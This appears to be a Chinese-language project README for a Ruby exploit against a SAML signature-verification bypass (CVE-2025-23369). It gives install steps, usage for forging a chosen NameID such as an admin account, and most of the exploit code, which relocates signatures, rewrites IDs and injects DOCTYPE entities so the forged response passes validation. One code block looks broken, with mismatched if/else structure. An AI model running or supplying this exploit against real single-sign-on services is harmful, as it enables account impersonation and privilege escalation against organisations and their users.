SAML响应签名绕过与XML注入漏洞利用工具
本项目提供了一个针对SAML(安全断言标记语言)协议实现中存在的签名验证绕过漏洞(CVE-2025-23369)的Ruby利用工具。该工具通过精妙的XML解析操作和实体注入技术,能够在保持原有签名有效性的前提下修改SAML断言中的用户身份信息,从而实现身份伪造和权限提升。
功能特性
- SAML响应解析与重构:自动解析Base64编码的SAML响应XML文档,保留原始结构完整性
- 签名智能处理:识别响应级和断言级签名,通过复制和重定位签名节点,使修改后的断言仍能通过签名验证
- XML实体注入:利用libxml2解析器的特殊行为,通过实体扩展技术在响应中注入自定义内容
- 身份篡改:精确修改SAML断言中的
NameID节点,将原始用户标识替换为目标用户标识 - ID重写机制:通过ID属性修改和实体引用替换,绕过基于ID唯一性的安全检查
- 自动化处理:命令行工具设计,接受响应文件和目标NameID作为参数,输出可直接使用的修改后响应
安装指南
系统要求
- Ruby 2.5.0 或更高版本
- 以下Ruby gem依赖项:
base64(标准库)cgi(标准库)nokogiri(需单独安装)
安装步骤
- 克隆项目仓库:
git clone https://github.com/your-repo/saml-signature-bypass.git
cd saml-signature-bypass
- 安装所需依赖:
gem install nokogiri
或使用Bundler管理:
# 创建Gemfile
echo "gem 'nokogiri'" > Gemfile
bundle install
- 确认Ruby环境正确:
ruby --version
# 应输出 2.5.0 或更高版本
使用说明
基础用法
ruby exploit.rb <response_file> <target_NameID>
response_file:包含Base64编码SAML响应的文件路径target_NameID:目标用户的标识符,用于替换原始断言中的NameID
示例场景
假设您已捕获到一个SAML响应(response.txt),内容为Base64编码的SAML断言数据,您希望将响应中的用户身份替换为admin@target.com:
ruby exploit.rb response.txt admin@target.com
程序将输出经过修改和重新编码的SAML响应字符串(已进行URL编码),可以直接用于后续的SAML认证流程测试。
详细操作流程
- 准备响应文件:将目标SAML响应(Base64格式)保存到文本文件中
- 确定目标身份:明确您希望伪造的目标用户NameID
- 执行利用脚本:使用上述命令行格式运行脚本
- 获取修改后响应:脚本输出经过URL编码的修改后Base64响应
- 使用修改后响应:将该响应提交到目标SAML服务端点进行验证
工具工作流程
- 读取并解码Base64格式的SAML响应
- 解析XML文档,定位
Response节点和Assertion节点 - 从响应中移除所有签名节点
- 定位断言对应的签名节点
- 将断言签名复制到响应级别,并在其中嵌入原始断言副本
- 修改断言ID(添加后缀)并移除断言内的签名节点
- 将响应ID修改为
idViaEntity - 修改嵌入的断言ID为
BypassIDUniqness加原始ID - 替换
NameID节点的内容为目标用户标识 - 通过实体注入技术序列化XML,绕过ID唯一性检查
- 重新进行Base64编码和URL编码后输出
核心代码
主程序入口与参数处理
require 'base64'
require 'cgi'
require 'nokogiri'
if ARGV.length != 2
puts "Usage: ruby exploit.rb <response_file> <target_NameID>"
exit 1
end
target = ARGV[1]
encoded_response = File.read(ARGV[0]).strip
decoded_response = Base64.decode64(CGI.unescape(encoded_response))
代码首先加载必要的库(Base64编码解码、CGI URL编解码、Nokogiri XML解析),然后检查命令行参数数量是否正确。用户需提供响应文件路径和目标NameID两个参数,否则程序会提示正确的使用方式并退出。
XML解析与签名节点定位
xml_doc = Nokogiri::XML(decoded_response) do |config|
config.default_xml.noblanks
end
response_node = xml_doc.at_xpath('//*[local-name()="Response"]')
assertion_node = xml_doc.at_xpath('//*[local-name()="Assertion"]')
signature_nodes = xml_doc.xpath('//*[local-name()="Signature"]')
使用Nokogiri解析XML文档,配置为不保留空白节点以简化处理。通过XPath表达式定位Response节点、Assertion节点以及所有Signature签名节点。使用local-name()函数忽略命名空间前缀,确保能够匹配各种SAML实现中的节点。
签名移除与复制重定位
signature_nodes.each do |sig|
referenced_id = sig.at_xpath(".//*[local-name()=\"Reference\"]/@URI")&.value&.delete('#')
if referenced_id == response_node['ID']
sig.remove
end
end
assertion_signature = signature_nodes.find do |sig|
referenced_id = sig.at_xpath(".//*[local-name()=\"Reference\"]/@URI")&.value&.delete('#')
referenced_id == assertion_node['ID']
end
if assertion_signature
unless assertion_signature.parent == response_node
response_signature = assertion_signature.dup
else
response_node.add_child(response_signature)
end
# 创建Object节点并嵌入断言副本...
end
end
首先移除引用Response节点ID的所有签名,避免后续验证冲突。然后查找引用Assertion节点ID的签名,将其复制一份(不是移动),在响应级别重新插入签名节点,并在其中创建Object节点来包裹原始断言的副本。这样既保留了原始签名,又让签名作用于修改后的响应结构。
断言修改与实体注入
assertion_id = assertion_node['ID']
assertion_node['ID'] = assertion_node['ID'] + 'ffff'
assertion_signature = assertion_node.at_xpath('./*[local-name()="Signature"]')
assertion_signature&.remove
response_node['ID'] = "idViaEntity"
if response_node.at_xpath('./*[local-name()="Signature"]/*[local-name()="Object"]/*[local-name()="Assertion"]')
object_assertion = response_node.at_xpath('./*[local-name()="Signature"]/*[local-name()="Object"]/*[local-name()="Assertion"]')
object_assertion['ID'] = 'BypassIDUniqness' + object_assertion['ID']
end
name_id_node = assertion_node.at_xpath('.//*[local-name()="NameID"]')
name_id_node.content = target if name_id_node
修改原始断言的ID(添加ffff后缀)并移除其内部的签名节点,避免签名验证失败。将响应ID设置为idViaEntity,同时修改嵌入断言副本的ID为BypassIDUniqness加上原始ID。最后定位并修改NameID节点的内容为目标用户标识,完成身份替换。
序列化与输出编码
mutated = xml_doc.to_xml(indent: 0, save_with: 0).gsub(/idViaEntity|BypassIDUniqness/, &Proc.new {"&#{_1};"}).sub('<?xml version="1.0" encoding="UTF-8"?>'){'%s<!DOCTYPE abcd [ <!ENTITY idViaEntity "%s"> <!ENTITY BypassIDUniqness "A"> ]>' % [_1, assertion_id]}
modified_response = Base64.strict_encode64(mutated)
puts CGI.escape(modified_response)
此为核心序列化与注入过程。使用to_xml序列化修改后的XML文档,然后通过正则替换将idViaEntity和BypassIDUniqness替换为实体引用形式&#idViaEntity;和&#BypassIDUniqness;。同时注入DOCTYPE声明,定义这两个实体,其中BypassIDUniqness实体被定义为字符A。这种注入方式利用libxml2的解析特性,使得实体引用在解析时会被扩展,从而绕过ID唯一性检查。最后进行Base64和URL编码,输出可直接使用的修改后响应。
6HFtX5dABrKlqXeO5PUv/27hMz2gBbBGVQixcbDsfjI=